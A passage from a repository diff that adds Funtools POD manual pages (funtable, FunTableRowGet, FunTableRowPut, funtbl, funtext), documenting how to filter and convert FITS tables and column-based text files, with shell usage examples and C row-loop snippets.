344.740432 58.606523 510.00 510.00
344.731900 58.607634 512.00 510.50
344.725500 58.614301 513.50 513.50
Finally, the B<-d> (ds9) switch mimicks ds9's use of integer TLMIN
and TLMAX values for all coordinate transformations. FITS conventions
seem to call for use of floating point TLMIN and TLMAX when the data are
floats. This convention is followed by funsky but results in a
small discrepancy with ds9's converted values for floating point
data. We will remedy this conflict in the future, maybe.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,296 @@
=pod
=head1 NAME
B<funtable - copy selected rows from a Funtools file to a FITS binary table>
=head1 SYNOPSIS
funtable [-a] [-i|-z] [-m] [-s cols] <iname> <oname> [columns]
=head1 OPTIONS
-a # append to existing output file as a table extension
-i # for image data, only generate X and Y columns
-m # for tables, write a separate file for each region
-s "col1 ..." # columns on which to sort
-z # for image data, output zero-valued pixels
=head1 DESCRIPTION
B<funtable> selects rows from the specified
FITS Extension
(binary table only) of a FITS file, or from a non-FITS raw event
file, and writes those rows to a FITS binary table file. It also
will create a FITS binary table from an image or a raw array file.
The first argument to the program specifies the FITS file, raw event
file, or raw array file. If "stdin" is specified, data are read from
the standard input. Use Funtools Bracket
Notation to specify FITS extensions, and filters. The second
argument is the output FITS file. If "stdout" is specified, the FITS
binary table is written to the standard output. By default, all
columns of the input file are copied to the output file. Selected
columns can be output using an optional third argument in the form:
"column1 column1 ... columnN"
The B<funtable> program generally is used to select rows from a
FITS binary table using
Table Filters
and/or
Spatial Region Filters.
For example, you can copy only selected rows (and output only selected
columns) by executing in a command such as:
[sh] funtable "test.ev[pha==1&&pi==10]" stdout "x y pi pha" | fundisp stdin
X Y PHA PI
------- ------- ------- ---------
1 10 1 10
1 10 1 10
1 10 1 10
1 10 1 10
1 10 1 10
1 10 1 10
1 10 1 10
1 10 1 10
1 10 1 10
1 10 1 10
The special column B<$REGION> can be specified to write the
region id of each row:
[sh $] funtable "test.ev[time-(int)time>=.99&&annulus(0 0 0 10 n=3)]" stdout 'x y time $REGION' | fundisp stdin
X Y TIME REGION
-------- -------- --------------------- ----------
5 -6 40.99000000 3
4 -5 59.99000000 2
-1 0 154.99000000 1
-2 1 168.99000000 1
-3 2 183.99000000 2
-4 3 199.99000000 2
-5 4 216.99000000 2
-6 5 234.99000000 3
-7 6 253.99000000 3
Here only rows with the proper fractional time and whose position also is
within one of the three annuli are written.
Columns can be excluded from display using a minus sign before the
column:
[sh $] funtable "test.ev[time-(int)time>=.99]" stdout "-time" | fundisp stdin
X Y PHA PI DX DY
-------- -------- -------- ---------- ----------- -----------
5 -6 5 -6 5.50 -6.50
4 -5 4 -5 4.50 -5.50
-1 0 -1 0 -1.50 0.50
-2 1 -2 1 -2.50 1.50
-3 2 -3 2 -3.50 2.50
-4 3 -4 3 -4.50 3.50
-5 4 -5 4 -5.50 4.50
-6 5 -6 5 -6.50 5.50
-7 6 -7 6 -7.50 6.50
All columns except the time column are written.
In general, the rules for activating and de-activating columns are:
=over 4
=item *
If only exclude columns are specified, then all columns but
the exclude columns will be activated.
=item *
If only include columns are specified, then only the specified columns
are activated.
=item *
If a mixture of include and exclude columns are specified, then
all but the exclude columns will be active; this last case
is ambiguous and the rule is arbitrary.
=back
In addition to specifying columns names explicitly, the special
symbols I<+> and I<-> can be used to activate and
de-activate I<all> columns. This is useful if you want to
activate the $REGION column along with all other columns. According
to the rules, the syntax "$REGION" only activates the region column
and de-activates the rest. Use "+ $REGION" to activate all
columns as well as the region column.
Ordinarily, only the selected table is copied to the output file. In
a FITS binary table, it sometimes is desirable to copy all of the
other FITS extensions to the output file as well. This can be done by
appending a '+' sign to the name of the extension in the input file
name. For example, the first command below copies only the EVENT table,
while the second command copies other extensions as well:
[sh] funtable "/proj/rd/data/snr.ev[EVENTS]" events.ev
[sh] funtable "/proj/rd/data/snr.ev[EVENTS+]" eventsandmore.ev
If the input file is an image or a raw array file, then
B<funtable> will generate a FITS binary table from the pixel
values in the image. Note that it is not possible to specify the
columns to output (using command-line argument 3). Instead, there are
two ways to create such a binary table from an image. By default, a
3-column table is generated, where the columns are "X", "Y", and
"VALUE". For each pixel in the image, a single row (event) is
generated with the "X" and "Y" columns assigned the dim1 and dim2
values of the image pixel, respectively and the "VALUE" column
assigned the value of the pixel. With sort of table, running
B<funhist> on the "VALUE" column will give the same results as
running B<funhist> on the original image.
If the B<-i> ("individual" rows) switch is specified, then only
the "X" and "Y" columns are generated. In this case, each positive
pixel value in the image generates n rows (events), where n is equal
to the integerized value of that pixel (plus 0.5, for floating point
data). In effect, B<-i> approximately recreates the rows of a
table that would have been binned into the input image. (Of course,
this is only approximately correct, since the resulting x,y positions
are integerized.)
If the B<-s [col1 col2 ... coln]> ("sort") switch is specified,
the output rows of a binary table will be sorted using the
specified columns as sort keys. The sort keys must be scalar columns
and also must be part of the output file (i.e. you cannot sort on a
column but not include it in the output). This facility uses the
B<_sort> program (included with funtools), which must be accessible
via your path.
For binary tables, the B<-m> ("multiple files") switch will
generate a separate file for each region in the filter specification
i.e. each file contains only the rows from that region. Rows
which pass the filter but are not in any region also are put in a
separate file.
The separate output file names generated by the B<-m> switch are
produced automatically from the root output file to contain the region id of
the associated region. (Note that region ids start at 1, so that the
file name associated with id 0 contains rows that pass the filter but
are not in any given region.) Output file names are generated as follows:
=over 4
=item *
A $n specification can be used anywhere in the root file name (suitably
quoted to protect it from the shell) and will be expanded to be the id
number of the associated region. For example:
funtable -m input.fits'[cir(512,512,1);cir(520,520,1)...]' 'foo.goo_$n.fits'
will generate files named foo.goo_0.fits (for rows not in any region but
still passing the filter), foo.goo_1.fits (rows in region id #1, the first
region), foo.goo_2.fits (rows in region id #2), etc. Note that single quotes
in the output root are required to protect the '$' from the shell.
=item *
If $n is not specified, then the region id will be placed before
the first dot (.) in the filename. Thus:
funtable -m input.fits'[cir(512,512,1);cir(520,520,1)...]' foo.evt.fits
will generate files named foo0.evt.fits (for rows not in any region but
still passing the filter), foo1.evt.fits (rows in region id #1),
foo2.evt.fits (rows in region id #2), etc.
=item *
If no dot is specified in the root output file name, then
the region id will be appended to the filename. Thus:
funtable -m input.fits'[cir(512,512,1);cir(520,520,1)...]' 'foo_evt'
will generate files named foo_evt0 (for rows not in any region but
still passing the filter), foo_evt1 (rows in region id #1),
foo_evt2 (rows in region id #2), etc.
=back
The multiple file mechanism provide a simple way to generate
individual source data files with a single pass through the data.
By default, a new FITS file is created and the binary table is written
to the first extension. If the B<-a> (append) switch is specified,
the table is appended to an existing FITS file as a BINTABLE extension.
Note that the output FITS file must already exist.
If the B<-z> ("zero" pixel values) switch is specified and
B<-i> is not specified, then pixels having a zero value will
be output with their "VALUE" column set to zero. Obviously, this
switch does not make sense when individual events are output.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,111 @@
=pod
=head1 NAME
B<FunTableRowGet - get Funtools rows>
=head1 SYNOPSIS
#include <funtools.h>
void *FunTableRowGet(Fun fun, void *rows, int maxrow, char *plist,
int *nrow)
=head1 DESCRIPTION
The B<FunTableRowGet()> routine retrieves rows from a Funtools
binary table or raw event file, and places the values of columns
selected by FunColumnSelect()
into an array of user structs. Selected column values are
automatically converted to the specified user data type (and to native
data format) as necessary.
The first argument is the Fun handle associated with this row data.
The second B<rows> argument is the array of user structs into
which the selected columns will be stored. If NULL is passed, the
routine will automatically allocate space for this array. (This
includes proper allocation of pointers within each struct, if the "@"
pointer type is used in the selection of columns. Note that if you
pass NULL in the second argument, you should free this space using the
standard free() system call when you are finished with the array of
rows.) The third B<maxrow> argument specifies the maximum number
of rows to be returned. Thus, if B<rows> is allocated by the
user, it should be at least of size maxrow*sizeof(evstruct).
The fourth B<plist> argument is a param list string. Currently,
the keyword/value pair "mask=transparent" is supported in the plist
argument. If this string is passed in the call's plist argument, then
all rows are passed back to the user (instead of just rows passing
the filter). This is only useful when
FunColumnSelect() also is
used to specify "$region" as a column to return for each row. In
such a case, rows found within a region have a returned region value
greater than 0 (corresponding to the region id of the region in which
they are located), rows passing the filter but not in a region have
region value of -1, and rows not passing any filter have region
value of 0. Thus, using "mask=transparent" and the returned region
value, a program can process all rows and decide on an action based
on whether a given row passed the filter or not.
The final argument is a pointer to an int variable that will return
the actual number of rows returned. The routine returns a pointer to
the array of stored rows, or NULL if there was an error. (This pointer
will be the same as the second argument, if the latter is non-NULL).
/* get rows -- let routine allocate the row array */
while( (buf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
/* process all rows */
for(i=0; i<got; i++){
/* point to the i'th row */
ev = buf+i;
/* rearrange some values. etc. */
ev->energy = (ev->pi+ev->pha)/2.0;
ev->pha = -ev->pha;
ev->pi = -ev->pi;
}
/* write out this batch of rows */
FunTableRowPut(fun2, buf, got, 0, NULL);
/* free row data */
if( buf ) free(buf);
}
As shown above, successive calls to
FunTableRowGet() will return the
next set of rows from the input file until all rows have been read,
i.e., the routine behaves like sequential Unix I/O calls such as
fread(). See evmerge example code for a
more complete example.
Note that FunTableRowGet() also can be called as FunEventsGet(), for
backward compatibility.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,200 @@
=pod
=head1 NAME
B<FunTableRowPut - put Funtools rows>
=head1 SYNOPSIS
int FunTableRowPut(Fun fun, void *rows, int nev, int idx, char *plist)
=head1 DESCRIPTION
The B<FunTableRowPut()> routine writes rows to a FITS binary
table, taking its input from an array of user structs that contain
column values selected by a previous call to
FunColumnSelect(). Selected
column values are automatically converted from native data format to
FITS data format as necessary.
The first argument is the Fun handle associated with this row data.
The second B<rows> argument is the array of user structs to
output. The third B<nrow> argument specifies the number number of
rows to write. The routine will write B<nrow> records, starting
from the location specified by B<rows>.
The fourth B<idx> argument is the index of the first raw input
row to write, in the case where rows from the user buffer are
being merged with their raw input row counterparts (see below). Note
that this B<idx> value is has nothing to do with the
row buffer specified in argument 1. It merely matches the row
being written with its corresponding (hidden) raw row. Thus, if you
read a number of rows, process them, and then write them out all at
once starting from the first user row, the value of B<idx>
should be 0:
Ev ebuf, ev;
/* get rows -- let routine allocate the row array */
while( (ebuf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
/* process all rows */
for(i=0; i<got; i++){
/* point to the i'th row */
ev = ebuf+i;
...
}
/* write out this batch of rows, starting with the first */
FunTableRowPut(fun2, (char *)ebuf, got, 0, NULL);
/* free row data */
if( ebuf ) free(ebuf);
}
On the other hand, if you write out the rows one at a time (possibly
skipping rows), then, when writing the i'th row from the input
array of rows, set B<idx> to the value of i:
Ev ebuf, ev;
/* get rows -- let routine allocate the row array */
while( (ebuf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
/* process all rows */
for(i=0; i<got; i++){
/* point to the i'th row */
ev = ebuf+i;
...
/* write out the current (i.e., i'th) row */
FunTableRowPut(fun2, (char *)ev, 1, i, NULL);
}
/* free row data */
if( ebuf ) free(ebuf);
}
The final argument is a param list string that is not currently used.
The routine returns the number of rows output. This should be equal
to the value passed in the third nrow</B argument.
When FunTableRowPut() is first
called for a given binary table, Funtools checks to see of the primary
header has already been written (either by writing a previous row
table or by writing an image.) If not, a dummy primary header is
written to the file specifying that an extension should be expected.
After this, a binary table header is automatically written containing
information about the columns that will populate this table. In
addition, if a
Funtools reference handle
was specified when this table was opened, the parameters from this
Funtools reference handle
are merged into the new binary table header.
In a typical Funtools row loop, you read rows using
FunTableRowGet()() and write
rows using FunTableRowPut(). The columns written by
FunTableRowPut()() are those defined as writable by a previous call to
FunColumnSelect(). If
that call to FunColumnSelect also specified
B<merge=[update|replace|append]>, then the entire corresponding
raw input row record will be merged with the output row according
to the B<merge> specification (see
FunColumnSelect() above).
A call to write rows can either be done once, after all rows in
the input batch have been processed, or it can be done (slightly less
efficiently) one row at a time (or anything in between). We do
recommend that you write all rows associated with a given batch of
input rows before reading new rows. This is B<required> if
you are merging the output rows with the raw input rows (since
the raw rows are destroyed with each successive call to get new rows).
For example:
Ev buf, ev;
...
/* get rows -- let routine allocate the row array */
while( (buf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
/* point to the i'th row */
ev = buf + i;
.... process
}
/* write out this batch of rows */
FunTableRowPut(fun2, buf, got, 0, NULL);
/* free row data */
if( buf ) free(buf);
}
or
Ev buf, ev;
...
/* get rows -- let routine allocate the row array */
while( (buf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
/* process all rows */
for(i=0; i<got; i++){
/* point to the i'th row */
ev = buf + i;
... process
/* write out this batch of rows with the new column */
if( dowrite )
FunTableRowPut(fun2, buf, 1, i, NULL);
}
/* free row data */
if( buf ) free(buf);
}
Note that the difference between these calls is that the first one
outputs B<got> rows all at once and therefore passes
B<idx=0> in argument four, so that merging starts at the first raw
input row. In the second case, a check it made on each row to see
if it needs to be output. If so, the value of B<idx> is passed as
the value of the B<i> variable which points to the current row
being processed in the batch of input rows.
As shown above, successive calls to
FunTableRowPut() will write
rows sequentially. When you are finished writing all rows in a
table, you should call
FunFlush() to write out the FITS
binary table padding. However, this is not necessary if you
subsequently call FunClose() without doing any other I/O to the FITS
file.
Note that FunTableRowPut() also can be called as FunEventsPut(), for
backward compatibility.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,137 @@
=pod
=head1 NAME
B<funtbl - extract a table from Funtools ASCII output>
=head1 SYNOPSIS
funtable [-c cols] [-h] [-n table] [-p prog] [-s sep] <iname>
=head1 DESCRIPTION
[NB: This program has been deprecated in favor of the ASCII text processing
support in funtools. You can now perform fundisp on funtools ASCII output
files (specifying the table using bracket notation) to extract tables
and columns.]
The B<funtbl> script extracts a specified table (without the
header and comments) from a funtools ASCII output file and writes the
result to the standard output. The first non-switch argument is the
ASCII input file name (i.e. the saved output from funcnts, fundisp,
funhist, etc.). If no filename is specified, stdin is read. The
-n switch specifies which table (starting from 1) to extract. The
default is to extract the first table. The -c switch is a
space-delimited list of column numbers to output, e.g. -c "1 3 5"
will extract the first three odd-numbered columns. The default is to
extract all columns. The -s switch specifies the separator string to
put between columns. The default is a single space. The -h switch
specifies that column names should be added in a header line before
the data is output. Without the switch, no header is prepended. The
-p program switch allows you to specify an awk-like program to run
instead of the default (which is host-specific and is determined at
build time). The -T switch will output the data in rdb format (i.e.,
with a 2-row header of column names and dashes, and with data columns
separated by tabs). The -help switch will print out a message
describing program usage.
For example, consider the output from the following funcnts command:
[sh] funcnts -sr snr.ev "ann 512 512 0 9 n=3"
# source
# data file: /proj/rd/data/snr.ev
# arcsec/pixel: 8
# background
# constant value: 0.000000
# column units
# area: arcsec**2
# surf_bri: cnts/arcsec**2
# surf_err: cnts/arcsec**2
# summed background-subtracted results
upto net_counts error background berror area surf_bri surf_err
---- ------------ --------- ------------ --------- --------- --------- ---------
1 147.000 12.124 0.000 0.000 1600.00 0.092 0.008
2 625.000 25.000 0.000 0.000 6976.00 0.090 0.004
3 1442.000 37.974 0.000 0.000 15936.00 0.090 0.002
# background-subtracted results
reg net_counts error background berror area surf_bri surf_err
---- ------------ --------- ------------ --------- --------- --------- ---------
1 147.000 12.124 0.000 0.000 1600.00 0.092 0.008
2 478.000 21.863 0.000 0.000 5376.00 0.089 0.004
3 817.000 28.583 0.000 0.000 8960.00 0.091 0.003
# the following source and background components were used:
source_region(s)
----------------
ann 512 512 0 9 n=3
reg counts pixels sumcnts sumpix
---- ------------ --------- ------------ ---------
1 147.000 25 147.000 25
2 478.000 84 625.000 109
3 817.000 140 1442.000 249
There are four tables in this output. To extract the last one, you
can execute:
[sh] funcnts -s snr.ev "ann 512 512 0 9 n=3" | funtbl -n 4
1 147.000 25 147.000 25
2 478.000 84 625.000 109
3 817.000 140 1442.000 249
Note that the output has been re-formatted so that only a single space
separates each column, with no extraneous header or comment information.
To extract only columns 1,2, and 4 from the last example (but with a header
prepended and tabs between columns), you can execute:
[sh] funcnts -s snr.ev "ann 512 512 0 9 n=3" | funtbl -c "1 2 4" -h -n 4 -s "\t"
#reg counts sumcnts
1 147.000 147.000
2 478.000 625.000
3 817.000 1442.000
Of course, if the output has previously been saved in a file named
foo.out, the same result can be obtained by executing:
[sh] funtbl -c "1 2 4" -h -n 4 -s "\t" foo.out
#reg counts sumcnts
1 147.000 147.000
2 478.000 625.000
3 817.000 1442.000
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,718 @@
=pod
=head1 NAME
B<Funtext: Support for Column-based Text Files>
=head1 SYNOPSIS
This document contains a summary of the options for processing column-based
text files.
=head1 DESCRIPTION
Funtools will automatically sense and process "standard"
column-based text files as if they were FITS binary tables without any
change in Funtools syntax. In particular, you can filter text files
using the same syntax as FITS binary tables:
fundisp foo.txt'[cir 512 512 .1]'
fundisp -T foo.txt > foo.rdb
funtable foo.txt'[pha=1:10,cir 512 512 10]' foo.fits
The first example displays a filtered selection of a text file. The
second example converts a text file to an RDB file. The third example
converts a filtered selection of a text file to a FITS binary table.
Text files can also be used in Funtools image programs. In this case,
you must provide binning parameters (as with raw event files), using
the bincols keyword specifier:
bincols=([xname[:tlmin[:tlmax:[binsiz]]]],[yname[:tlmin[:tlmax[:binsiz]]]
For example:
funcnts foo'[bincols=(x:1024,y:1024)]' "ann 512 512 0 10 n=10"
B<Standard Text Files>
Standard text files have the following characteristics:
=over 4
=item *
Optional comment lines start with #
=item *
Optional blank lines are considered comments
=item *
An optional table header consists of the following (in order):
=over 4
=item *
a single line of alpha-numeric column names
=item *
an optional line of unit strings containing the same number of cols
=item *
an optional line of dashes containing the same number of cols
=back
=item *
Data lines follow the optional header and (for the present) consist of
the same number of columns as the header.
=item *
Standard delimiters such as space, tab, comma, semi-colon, and bar.
=back
Examples:
# rdb file
foo1 foo2 foo3 foos
---- ---- ---- ----
1 2.2 3 xxxx
10 20.2 30 yyyy
# multiple consecutive whitespace and dashes
foo1 foo2 foo3 foos
--- ---- ---- ----
1 2.2 3 xxxx
10 20.2 30 yyyy
# comma delims and blank lines
foo1,foo2,foo3,foos
1,2.2,3,xxxx
10,20.2,30,yyyy
# bar delims with null values
foo1|foo2|foo3|foos
1||3|xxxx
10|20.2||yyyy
# header-less data
1 2.2 3 xxxx
10 20.2 30 yyyy
The default set of token delimiters consists of spaces, tabs, commas,
semi-colons, and vertical bars. Several parsers are used
simultaneously to analyze a line of text in different ways. One way
of analyzing a line is to allow a combination of spaces, tabs, and
commas to be squashed into a single delimiter (no null values between
consecutive delimiters). Another way is to allow tab, semi-colon, and
vertical bar delimiters to support null values, i.e. two consecutive
delimiters implies a null value (e.g. RDB file). A successful parser
is one which returns a consistent number of columns for all rows, with
each column having a consistent data type. More than one parser can
be successful. For now, it is assumed that successful parsers all
return the same tokens for a given line. (Theoretically, there are
pathological cases, which will be taken care of as needed). Bad parsers
are discarded on the fly.
If the header does not exist, then names "col1", "col2", etc. are
assigned to the columns to allow filtering. Furthermore, data types
for each column are determined by the data types found in the columns
of the first data line, and can be one of the following: string, int,
and double. Thus, all of the above examples return the following
display:
fundisp foo'[foo1>5]'
FOO1 FOO2 FOO3 FOOS
---------- --------------------- ---------- ------------
10 20.20000000 30 yyyy
B<Comments Convert to Header Params>
Comments which precede data rows are converted into header parameters and
will be written out as such using funimage or funhead. Two styles of comments
are recognized:
1. FITS-style comments have an equal sign "=" between the keyword and
value and an optional slash "/" to signify a comment. The strict FITS
rules on column positions are not enforced. In addition, strings only
need to be quoted if they contain whitespace. For example, the following
are valid FITS-style comments:
# fits0 = 100
# fits1 = /usr/local/bin
# fits2 = "/usr/local/bin /opt/local/bin"
# fits3c = /usr/local/bin /opt/local/bin /usr/bin
# fits4c = "/usr/local/bin /opt/local/bin" / path dir
Note that the fits3c comment is not quoted and therefore its value is the
single token "/usr/local/bin" and the comment is "opt/local/bin /usr/bin".
This is different from the quoted comment in fits4c.
2. Free-form comments can have an optional colon separator between the
keyword and value. In the absence of quote, all tokens after the
keyword are part of the value, i.e. no comment is allowed. If a string
is quoted, then slash "/" after the string will signify a comment.
For example:
# com1 /usr/local/bin
# com2 "/usr/local/bin /opt/local/bin"
# com3 /usr/local/bin /opt/local/bin /usr/bin
# com4c "/usr/local/bin /opt/local/bin" / path dir
# com11: /usr/local/bin
# com12: "/usr/local/bin /opt/local/bin"
# com13: /usr/local/bin /opt/local/bin /usr/bin
# com14c: "/usr/local/bin /opt/local/bin" / path dir
Note that com3 and com13 are not quoted, so the whole string is part of
the value, while comz4c and com14c are quoted and have comments following
the values.
Some text files have column name and data type information in the header.
You can specify the format of column information contained in the
header using the "hcolfmt=" specification. See below for a detailed
description.
B<Multiple Tables in a Single File>
Multiple tables are supported in a single file. If an RDB-style file
is sensed, then a ^L (vertical tab) will signify end of
table. Otherwise, an end of table is sensed when a new header (i.e.,
all alphanumeric columns) is found. (Note that this heuristic does not
work for single column tables where the column type is ASCII and the
table that follows also has only one column.) You also can specify
characters that signal an end of table condition using the B<eot=>
keyword. See below for details.
You can access the nth table (starting from 1) in a multi-table file
by enclosing the table number in brackets, as with a FITS extension:
fundisp foo'[2]'
The above example will display the second table in the file.
(Index values start at 1 in oder to maintain logical compatibility
with FITS files, where extension numbers also start at 1).
B<TEXT() Specifier>
As with ARRAY() and EVENTS() specifiers for raw image arrays and raw
event lists respectively, you can use TEXT() on text files to pass
key=value options to the parsers. An empty set of keywords is
equivalent to not having TEXT() at all, that is:
fundisp foo
fundisp foo'[TEXT()]'
are equivalent. A multi-table index number is placed before the TEXT()
specifier as the first token, when indexing into a multi-table:
fundisp foo'[2,TEXT(...)]'
The filter specification is placed after the TEXT() specifier, separated
by a comma, or in an entirely separate bracket:
fundisp foo'[TEXT(...),circle 512 512 .1]'
fundisp foo'[2,TEXT(...)][circle 512 512 .1]'
B<Text() Keyword Options>
The following is a list of keywords that can be used within the TEXT()
specifier (the first three are the most important):
=over 4
=item *
delims="[delims]"
Specify token delimiters for this file. Only a single parser having these
delimiters will be used to process the file.
fundisp foo.fits'[TEXT(delims="!")]'
fundisp foo.fits'[TEXT(delims="\t%")]'
=item *
comchars="[comchars]"
Specify comment characters. You must include "\n" to allow blank lines.
These comment characters will be used for all standard parsers (unless delims
are also specified).
fundisp foo.fits'[TEXT(comchars="!\n")]'
=item *
cols="[name1:type1 ...]"
Specify names and data type of columns. This overrides header
names and/or data types in the first data row or default names and
data types for header-less tables.
fundisp foo.fits'[TEXT(cols="x:I,y:I,pha:I,pi:I,time:D,dx:E,dy:e")]'
If the column specifier is the only keyword, then the cols= is not
required (in analogy with EVENTS()):
fundisp foo.fits'[TEXT(x:I,y:I,pha:I,pi:I,time:D,dx:E,dy:e)]'
Of course, an index is allowed in this case:
fundisp foo.fits'[2,TEXT(x:I,y:I,pha:I,pi:I,time:D,dx:E,dy:e)]'
=item *
eot="[eot delim]"
Specify end of table string specifier for multi-table files. RDB
files support ^L. The end of table specifier is a string and the whole
string must be found alone on a line to signify EOT. For example:
fundisp foo.fits'[TEXT(eot="END")]'
will end the table when a line contains "END" is found. Multiple lines
are supported, so that:
fundisp foo.fits'[TEXT(eot="END\nGAME")]'
will end the table when a line contains "END" followed by a line
containing "GAME".
In the absence of an EOT delimiter, a new table will be sensed when a new
header (all alphanumeric columns) is found.
=item *
null1="[datatype]"
Specify data type of a single null value in row 1.
Since column data types are determined by the first row, a null value
in that row will result in an error and a request to specify names and
data types using cols=. If you only have a one null in row 1, you don't
need to specify all names and columns. Instead, use null1="type" to
specify its data type.
=item *
alen=[n]
Specify size in bytes for ASCII type columns.
FITS binary tables only support fixed length ASCII columns, so a
size value must be specified. The default is 16 bytes.
=item *
nullvalues=["true"|"false"]
Specify whether to expect null values.
Give the parsers a hint as to whether null values should be allowed. The
default is to try to determine this from the data.
=item *
whitespace=["true"|"false"]
Specify whether surrounding white space should be kept as part of
string tokens. By default surrounding white space is removed from
tokens.
=item *
header=["true"|"false"]
Specify whether to require a header. This is needed by tables
containing all string columns (and with no row containing dashes), in
order to be able to tell whether the first row is a header or part of
the data. The default is false, meaning that the first row will be
data. If a row dashes are present, the previous row is considered the
column name row.
=item *
units=["true"|"false"]
Specify whether to require a units line.
Give the parsers a hint as to whether a row specifying units should be
allowed. The default is to try to determine this from the data.
=item *
i2f=["true"|"false"]
Specify whether to allow int to float conversions.
If a column in row 1 contains an integer value, the data type for that
column will be set to int. If a subsequent row contains a float in
that same column, an error will be signaled. This flag specifies that,
instead of an error, the float should be silently truncated to
int. Usually, you will want an error to be signaled, so that you can
specify the data type using cols= (or by changing the value of
the column in row 1).
=item *
comeot=["true"|"false"|0|1|2]
Specify whether comment signifies end of table.
If comeot is 0 or false, then comments do not signify end of table and
can be interspersed with data rows. If the value is true or 1 (the
default for standard parsers), then non-blank lines (e.g. lines
beginning with '#') signify end of table but blanks are allowed
between rows. If the value is 2, then all comments, including blank
lines, signify end of table.
=item *
lazyeot=["true"|"false"]
Specify whether "lazy" end of table should be permitted (default is
true for standard formats, except rdb format where explicit ^L is required
between tables). A lazy EOT can occur when a new table starts directly
after an old one, with no special EOT delimiter. A check for this EOT
condition is begun when a given row contains all string tokens. If, in
addition, there is a mismatch between the number of tokens in the
previous row and this row, or a mismatch between the number of string
tokens in the prev row and this row, a new table is assumed to have
been started. For example:
ival1 sval3
----- -----
1 two
3 four
jval1 jval2 tval3
----- ----- ------
10 20 thirty
40 50 sixty
Here the line "jval1 ..." contains all string tokens. In addition,
the number of tokens in this line (3) differs from the number of
tokens in the previous line (2). Therefore a new table is assumed
to have started. Similarly:
ival1 ival2 sval3
----- ----- -----
1 2 three
4 5 six
jval1 jval2 tval3
----- ----- ------
10 20 thirty
40 50 sixty
Again, the line "jval1 ..." contains all string tokens. The number of
string tokens in the previous row (1) differs from the number of
tokens in the current row(3). We therefore assume a new table as been
started. This lazy EOT test is not performed if lazyeot is explicitly
set to false.
=item *
hcolfmt=[header column format]
Some text files have column name and data type information in the header.
For example, VizieR catalogs have headers containing both column names
and data types:
#Column e_Kmag (F6.3) ?(k_msigcom) K total magnitude uncertainty (4) [ucd=ERROR]
#Column Rflg (A3) (rd_flg) Source of JHK default mag (6) [ucd=REFER_CODE]
#Column Xflg (I1) [0,2] (gal_contam) Extended source contamination (10) [ucd=CODE_MISC]
while Sextractor files have headers containing column names alone:
# 1 X_IMAGE Object position along x [pixel]
# 2 Y_IMAGE Object position along y [pixel]
# 3 ALPHA_J2000 Right ascension of barycenter (J2000) [deg]
# 4 DELTA_J2000 Declination of barycenter (J2000) [deg]
The hcolfmt specification allows you to describe which header lines
contain column name and data type information. It consists of a string
defining the format of the column line, using "$col" (or "$name") to
specify placement of the column name, "$fmt" to specify placement of the
data format, and "$skip" to specify tokens to ignore. You also can
specify tokens explicitly (or, for those users familiar with how
sscanf works, you can specify scanf skip specifiers using "%*").
For example, the VizieR hcolfmt above might be specified in several ways:
Column $col ($fmt) # explicit specification of "Column" string
$skip $col ($fmt) # skip one token
%*s $col ($fmt) # skip one string (using scanf format)
while the Sextractor format might be specified using:
$skip $col # skip one token
%*d $col # skip one int (using scanf format)
You must ensure that the hcolfmt statement only senses actual column
definitions, with no false positives or negatives. For example, the
first Sextractor specification, "$skip $col", will consider any header
line containing two tokens to be a column name specifier, while the
second one, "%*d $col", requires an integer to be the first token. In
general, it is preferable to specify formats as explicitly as
possible.
Note that the VizieR-style header info is sensed automatically by the
funtools standard VizieR-like parser, using the hcolfmt "Column $col
($fmt)". There is no need for explicit use of hcolfmt in this case.
=item *
debug=["true"|"false"]
Display debugging information during parsing.
=back
B<Environment Variables>
Environment variables are defined to allow many of these TEXT() values to be
set without having to include them in TEXT() every time a file is processed:
keyword environment variable
------- --------------------
delims TEXT_DELIMS
comchars TEXT_COMCHARS
cols TEXT_COLUMNS
eot TEXT_EOT
null1 TEXT_NULL1
alen TEXT_ALEN
bincols TEXT_BINCOLS
hcolfmt TEXT_HCOLFMT
B<Restrictions and Problems>
As with raw event files, the '+' (copy extensions) specifier is not
supported for programs such as funtable.
String to int and int to string data conversions are allowed by the
text parsers. This is done more by force of circumstance than by
conviction: these transitions often happens with VizieR catalogs,
which we want to support fully. One consequence of allowing these
transitions is that the text parsers can get confused by columns which
contain a valid integer in the first row and then switch to a
string. Consider the following table:
xxx yyy zzz
---- ---- ----
111 aaa bbb
ccc 222 ddd
The xxx column has an integer value in row one a string in row two,
while the yyy column has the reverse. The parser will erroneously
treat the first column as having data type int:
fundisp foo.tab
XXX YYY ZZZ
---------- ------------ ------------
111 'aaa' 'bbb'
1667457792 '222' 'ddd'
while the second column is processed correctly. This situation can be avoided
in any number of ways, all of which force the data type of the first column
to be a string. For example, you can edit the file and explicitly quote the
first row of the column:
xxx yyy zzz
---- ---- ----
"111" aaa bbb
ccc 222 ddd
[sh] fundisp foo.tab
XXX YYY ZZZ
------------ ------------ ------------
'111' 'aaa' 'bbb'
'ccc' '222' 'ddd'
You can edit the file and explicitly set the data type of the first column:
xxx:3A yyy zzz
------ ---- ----
111 aaa bbb
ccc 222 ddd
[sh] fundisp foo.tab
XXX YYY ZZZ
------------ ------------ ------------
'111' 'aaa' 'bbb'
'ccc' '222' 'ddd'
You also can explicitly set the column names and data types of all columns,
without editing the file:
[sh] fundisp foo.tab'[TEXT(xxx:3A,yyy:3A,zzz:3a)]'
XXX YYY ZZZ
------------ ------------ ------------
'111' 'aaa' 'bbb'
'ccc' '222' 'ddd'
The issue of data type transitions (which to allow and which to disallow)
is still under discussion.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,542 @@
=pod
=head1 NAME
B<Funtools: FITS Users Need Tools>
=head1 SYNOPSIS
This document is the Table of Contents for Funtools.
=head1 DESCRIPTION
Funtools, is a "minimal buy-in" FITS library and utility package developed
